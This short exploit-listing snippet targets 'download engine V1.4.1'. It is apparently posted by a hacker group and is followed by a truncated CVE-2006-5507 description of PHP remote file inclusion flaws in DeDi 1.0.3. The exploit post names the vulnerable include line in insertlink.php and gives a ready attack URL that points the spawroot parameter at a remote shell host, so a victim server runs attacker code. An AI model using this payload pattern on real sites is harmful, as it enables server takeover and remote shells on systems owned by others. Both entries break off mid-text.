download engine V1.4.1 >> RFI (local)

VENDOR :http://www.alexscriptengine.com/ BY : s3rv3rhack3r hackerz.ir admin bug: downloadengine/admin/includes/spaw/dialogs/insertlink.php = include $spawroot.'class/lang.class.php'; Exloit: http://victim/admin/includes/spaw/dialogs/insertlink.php?spawroot=http://shell...

CVE-2006-5507

Multiple PHP remote file inclusion vulnerabilities in Der Dirigent DeDi 1.0.3 allow remote attackers to execute arbitrary PHP code via a URL in the cfgdedidedipath parameter in 1 find.php, 2 insertline.php, 3 fullscreen.php, 4 changecase.php, 5 insertlink.php, 6 inserttable.php, 7...